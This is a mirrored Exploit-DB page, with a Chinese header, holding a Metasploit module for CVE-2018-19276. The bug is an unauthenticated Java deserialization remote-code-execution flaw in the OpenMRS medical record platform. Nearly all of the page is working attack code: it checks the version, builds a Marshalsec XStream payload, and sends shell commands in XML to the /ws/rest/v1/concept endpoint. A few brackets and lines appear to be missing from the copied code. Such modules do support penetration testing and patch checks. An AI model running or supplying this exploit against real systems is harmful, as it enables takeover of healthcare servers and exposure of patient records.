OpenMRS – Java Deserialization RCE (Metasploit)

Exploit Database
121 阅读

作者： Metasploit

日期： 2019-12-18
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/47792/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::CmdStager

def initialize(info = {})

super(update_info(info,

'Name' => 'OpenMRS Java Deserialization RCE',

'Description'=> %q(

OpenMRS is an open-source platform that supplies

users with a customizable medical record system.

There exists an object deserialization vulnerability

in the <code>webservices.rest</code> module used in OpenMRS Platform.

Unauthenticated remote code execution can be achieved

by sending a malicious XML payload to a Rest API endpoint

such as <code>/ws/rest/v1/concept</code>.

This module uses an XML payload generated with Marshalsec

that targets the ImageIO component of the XStream library.

Tested on OpenMRS Platform <code>v2.1.2</code> and <code>v2.21</code> with Java

8 and Java 9.

'License'=> MSF_LICENSE,

'Author' =>

[

'Nicolas Serra', # Vuln Discovery and PoC

'mpgn',# PoC

'Shelby Pace'# Metasploit Module

'References' =>

[

[ 'CVE', '2018-19276' ],

[ 'URL', 'https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607' ],

[ 'URL', 'https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization' ],

[ 'URL', 'https://github.com/mpgn/CVE-2018-19276/' ]

'Platform' => [ 'unix', 'linux' ],

'Arch' => [ ARCH_X86, ARCH_X64 ],

'Targets'=>

[

[ 'Linux',

{

'Arch' =>[ ARCH_X86, ARCH_X64 ],

'Platform' =>[ 'unix', 'linux' ],

'CmdStagerFlavor'=> 'printf'

}

]

'DisclosureDate' => '2019-02-04',

'DefaultTarget'=> 0

))

register_options(

[

Opt::RPORT(8081),

OptString.new('TARGETURI', [ true, 'Base URI for OpenMRS', '/' ])

])

register_advanced_options([ OptBool.new('ForceExploit', [ false, 'Override check result', false ]) ])

end

def check

res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path))

return CheckCode::Unknown("OpenMRS page unreachable.") unless res

return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs')

response = res.get_html_document

version = response.at('body//h3')

return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version && version.text

version_no = version.text

version_no = version_no.match(/\d+\.\d+\.\d*/)

return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version_no

version_no = Gem::Version.new(version_no)

if (version_no < Gem::Version.new('1.11.8') || version_no.between?(Gem::Version.new('2'), Gem::Version.new('2.1.3')))

return CheckCode::Appears("OpenMRS platform version: #{version_no}")

end

CheckCode::Safe

end

def format_payload

payload_data = payload.encoded.to_s.encode(xml: :text)

payload_arr = payload_data.split(' ', 3)

payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", "")

end

def read_payload_data(payload_cmd)

# payload generated with Marshalsec

erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb')

payload_data = File.binread(erb_path)

payload_data = ERB.new(payload_data).result(binding)

rescue Errno::ENOENT

fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}")

end

def execute_command(cmd, opts={})

cmd = cmd.encode(xml: :text)

xml_data = "<string>sh</string><string>-c</string><string>#{cmd}</string>"

rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept')

payload_data = read_payload_data(xml_data)

send_request_cgi(

'method'=>'POST',

'uri' =>rest_uri,

'headers' =>{ 'Content-Type'=>'text/xml' },

'data'=>payload_data

)

end

def exploit

chk_status = check

print_status('Target is running OpenMRS') if chk_status == CheckCode::Appears

unless ((chk_status == CheckCode::Appears || chk_status == CheckCode::Detected) || datastore['ForceExploit'] )

fail_with(Failure::NoTarget, 'Target is not vulnerable')

end

cmds = generate_cmdstager(:concat_operator => '&&')

print_status('Sending payload...')

cmds.first.split('&&').map { |cmd| execute_command(cmd) }

end